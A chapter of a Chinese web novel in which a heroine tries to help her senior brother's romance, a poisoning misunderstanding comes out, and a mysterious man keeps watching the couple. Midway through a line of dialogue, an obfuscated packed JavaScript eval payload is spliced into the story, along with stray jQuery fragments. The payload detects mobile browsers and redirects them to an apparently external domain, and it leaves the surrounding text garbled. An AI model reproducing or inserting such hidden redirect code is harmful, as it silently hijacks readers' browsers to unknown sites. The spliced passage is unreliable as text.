2. 那个男人

作品:《别吵,女配在翻剧本

    任渔眠有心想要改善她和兰姿嬅关系,可结果总是差强人意。


    跟游魂搏斗没有受伤,反倒是被任渔眠手里的断剑砸伤了脚。


    别说兰姿嬅感觉自己被针对,就连任渔眠也感觉到自己被系统针对了,好在她脑子反应快,赶忙说:“师兄,嬅姐姐脚受伤了,你来背着她吧。”


    看着兰姿嬅害羞地趴在严侍背上,两人间说着小悄悄话,任渔眠就感觉自己肩上的责任更重了,自豪的拿着两人佩剑走在一旁。


    兰姿嬅顾虑到有自己在一旁,总是放不开,满怀愧疚的说:“师妹也受伤了,让她上来吧,我走着就可以。”


    任渔眠:“我没事,我可以。”


    “你伤得在脚上走路不方便,再说,这是我师妹犯下的过错,我作为师兄自然要承担啊。”


    任渔眠:“……”师兄不会说话你就别说话。


    怕兰姿嬅多想,任渔眠赶紧附和道:“刚才若不是嬅姐姐你及时出手,我就被游魂带走魂魄了,况且你这一路对我的关照我也是体会到的。”


    见兰姿嬅还要张口拒绝,任渔眠抢先一步问:“我们现在要去哪里啊?”


    “先去镇子找一家会看外伤的大夫。”严侍回答:“被你那把断剑砸中,骨头肯定会受到伤。”


    兰姿嬅甜蜜地拢紧严侍肩膀:“无事,师妹的剑不沉。”


    任渔眠确信恋爱中的人脑子多少有些问题。


    她这把佩剑只有正常剑身一半长度,可是却沉重无比,平时她都是背在身后的,只是今日拿在手中,还把人脚给砸了。


    摸着黑走了很长时间的路,天蒙蒙亮的时候,他们才到附近一处镇子。


    任渔眠极其有眼力见的要去找医馆,让严侍和兰姿嬅两人在早餐铺子好生歇歇。


    “好师兄,师妹能帮你的可不多,抓紧时间求婚。”


    因为是早上原因,街上的商铺还没有开张,任渔眠站在医馆的门口等待开张。


    后脑勺还是有些疼痛,伸手轻轻揉后脑时,一个男人身影刚刚好闯入任渔眠视线。


    男人身材瘦高,像一颗挺拔的白杨树,身穿百草霜色长袍,看不清脸。


    男人的身影抓住了任渔眠的视线,不免的多看了几眼,这一看不得了啊,她发现这男人一直在看吃早饭的严侍和兰姿嬅。


    不由得,任渔眠心中警铃大震,任何觊觎她嫂嫂的男人都是坏人,再看那边严侍体贴喂兰姿嬅喝粥,任渔眠有必要来捍卫她师兄的感情。


    果断的走上去,拍拍男人的后背。


    “叨扰这位少侠了,麻烦问个路。”


    男人转过身来,任渔眠眼神一颤,心里惊呼竟然是个美男子。


    但,是美男子你也不能觊觎我家嫂嫂啊。


    “不是本地人,这位小姐麻烦询问别人。”


    那人冷淡的回答完后,冷淡的走开,丝毫没有继续逗留。


    送走男人,任渔眠回去继续排队,等到医馆开门,又赶忙将严侍和兰姿嬅叫来。


    问诊的大夫是一位年岁很大的老爷爷,认真看了兰姿嬅受伤的脚掌半天,得出十分权威的回答。


    “脚骨头没有断。”


    任渔眠稍稍的送了一口气。


    “应该的骨裂,需要好好疗伤。”


    任渔眠这口气好悬没有喘上来。


    她也是没想到一把断剑重量这么大,满怀愧疚地向兰姿嬅道歉。


    “没事了,你也不是故意的。”


    见到兰姿嬅温婉大方的模样,任渔眠心中更是愧疚,当下决定要包下一间医馆房间养伤。


    “不用奢侈浪费,脚伤根本没事。”兰姿嬅连忙拒绝。


    “没关系的,正好让我师兄好好照顾照顾你。”


    任渔眠跟着医馆伙计上楼整理房间,没多一会,严侍就搀扶兰姿嬅跟着上楼。


    看着两间房间,且任渔眠已经表示自己一间,兰姿嬅却是要和任渔眠住在一起。


    啊?这是为什么啊。


    任渔眠不懂,但是任渔眠选择尊重女主角,万一这是小情侣之间的小情趣呢。


    任渔眠找了一个下楼抓药的借口,把空间留给两人相处,没一会严侍也跟着下来。


    “师兄你下来做什么?”任渔眠不解地问,楼上是你行动不便的心上人,你下来干什么。


    “看你抓药啊。”


    “啊?”任渔眠不理解。


    “师妹,兰姿嬅真是个好人,你就不要欺负她了。”严侍语重心长道:“这一路你也看到了,她对你是真心实意的好,你也就不要再使用下毒的把戏了。”


    “什……什么。”任渔眠急忙打断严侍的话。


    “是啊,之前在客栈时你就在兰姿嬅饭里下毒。”听到这话,任渔眠心是凉了半截。


    “再说了,你身上的毒不是还需要你嬅姐姐来解除吗。”


    面对严侍直白言论,任渔眠吓得瞳孔地震,当听到楼上的响动时,任渔眠悬着的心是被严侍掐死了。


    严侍他长得一张嘴咋什么都往外说呢。


    两人惶恐看着出现了兰姿嬅,她亦是惶恐,慌张的跑进房间,啪嗒的把房门关上。


    “师兄,我们负荆请罪吧。”


    “师妹你是女孩子不能脱衣服。”


    两人一起道歉定然回惹起争端,任渔眠先让严侍去安抚兰姿嬅情绪,自己在这里熬药。


    严侍表示可以,临上楼还不忘告诫任渔眠:“不许乱放东西啊,小心我扒了你的皮。”


    “你快上楼吧,小心嬅姐姐扒了你的皮。”


    任渔眠在楼下盯着熬药,又留意楼上的动静,这时任渔眠又看见了那个男人。


    他站在医馆外,注意到任渔眠的视线后,目光浅浅的落在任渔眠身上,四目相对一眼,冷漠的离开了。


    任渔眠只觉得男人眼熟,好像自己这哪里见过,偏偏一时间又想不起来。


    不过,频繁地出现在男女主角身边,想来也是和他们有牵扯。


    汤药熬好了,任渔眠端着汤药上楼,站在门口先偷听里面谈话。


    “严侍你坦白跟我讲,你接近目的是什么。”兰姿嬅的话隐忍这极大的情绪。


    “我能有什么目的,我们相处时点滴你还看不见嘛,我对你从来没有二心。”


    “那你方才在楼下亲口承认,要利用我来你师妹解毒。”


    听见严侍没有回话,任渔眠在门外也能感受到屋内气氛尴尬至极。


    “她是我小师妹,我们从小一起长大,她虽然调皮一些,但是是一个好女孩,这次下山,我师尊也是对我千叮万嘱让我好好照顾小师妹,自然我会因为照顾她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045371|162698||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而忽略你的感受。”


    “所以呢?”兰姿嬅的声音在颤抖。


    “所以……”


    “这位女子你站在门外干什么?这药凉了,功效可就减半了,不方便开门是吗?来,我来给你开门。”


    偶然路过的店伙计极其热心肠的将房门打开,随着老旧的木门长长一声滋啦,屋内四只眼睛,和屋外两只眼睛极其尴尬的对视一圈,任渔眠勉强嘿嘿一笑,想要缓解尴尬。


    “我都看你站在门外半天了,药凉了,可就不好了。”店伙计再次强调,催促任渔眠赶紧进去。


    还是严侍稳重,笑着把店小二送下楼,转头,对试图逃离的任渔眠冷脸道:“任渔眠你给我进来! ”


    任渔眠端着汤药进来,眼睛轱辘转一圈,柔声细语问:“嬅姐姐,起来喝药了。”


    兰姿嬅:“……”


    任渔眠:“……”


    严侍接过任渔眠手里的药:“嬅儿,喝吧,我亲眼看见任渔眠熬着药。”


    任渔眠连忙解释:“不是我熬的药,是药房伙计熬着,我亲眼看着他熬着药。”


    严侍:“……”


    兰姿嬅脸下一冷,没有接过药:“你们兄妹俩一唱一和的挺好啊,这是欺负我对吗?”


    严侍慌乱解释:“没有没有,要欺负也只能是任渔眠欺负你,我是不会欺负你。”


    兰姿嬅眼睛红润:“会,你们师兄妹俩会一起欺负我。”


    是压抑的情绪,兰姿嬅在此终于得到了释放,含着泪水,哽咽说道:“你亲口说你师妹身上的毒还需要我来解除。”


    见两人又开始新一轮的“听我解释,你听我解释”,“不,我不听我不听。”


    任渔眠心里惦记这这碗药,钱都花了,要不这碗药还是自己喝了吧。没病喝药可以吗,这算不算提前预防啊。


    两人争论不休,任渔眠则是思考,这药不喝是白瞎了。


    “我师妹当日下毒是她的不对,但是那被下毒的茶水不是也被她喝了吗。”


    任渔眠一愣,这里貌似还有自己的问题,不禁开始认真听两人吵架内容了。


    “假如那杯茶水是我喝到了呢,你有没有想过中毒的人就会是我。”


    严侍:“不会,你身上带着解药。”


    这两人这么一提醒,任渔眠想到了那一天他们三人到餐馆吃饭,正值饭口,店家炒菜时应该是忘记放盐了,任渔眠记得兰姿嬅背包里有盐,应该是为了留宿野外做准备。


    正好两人跑出去帮助迷路的小女孩找妈妈,任渔眠直接从兰姿嬅小包拿出一个小瓷瓶,是手上有吃烧饼的油腥,拿不住白瓷瓶,瓶子里的小白粉有很多撒在自己茶水杯了。


    任渔眠还记得,那壶茶水八十多两一壶,还不能续水,自己当时根本没有犹豫,拿起来就猛喝一大口,还行,不咸。


    正准备把白瓷瓶倒在菜里,巧的是,那两个人也已经回来了,原本笑容灿烂的兰姿嬅看着自己的举动,脸上笑容也没有了,只是心如死灰的坐在餐桌上,小口小口吃饭,任凭严侍哄逗都换不得一个笑脸。


    任渔眠也不矩情,等吃完饭了,嘴里还抱怨店家忘记放盐了:“嬅姐姐口袋里盐罐子一点也不咸。”


    兰姿嬅:“嗯?”


    一个小时后,任渔眠知道她为什么“嗯?”了。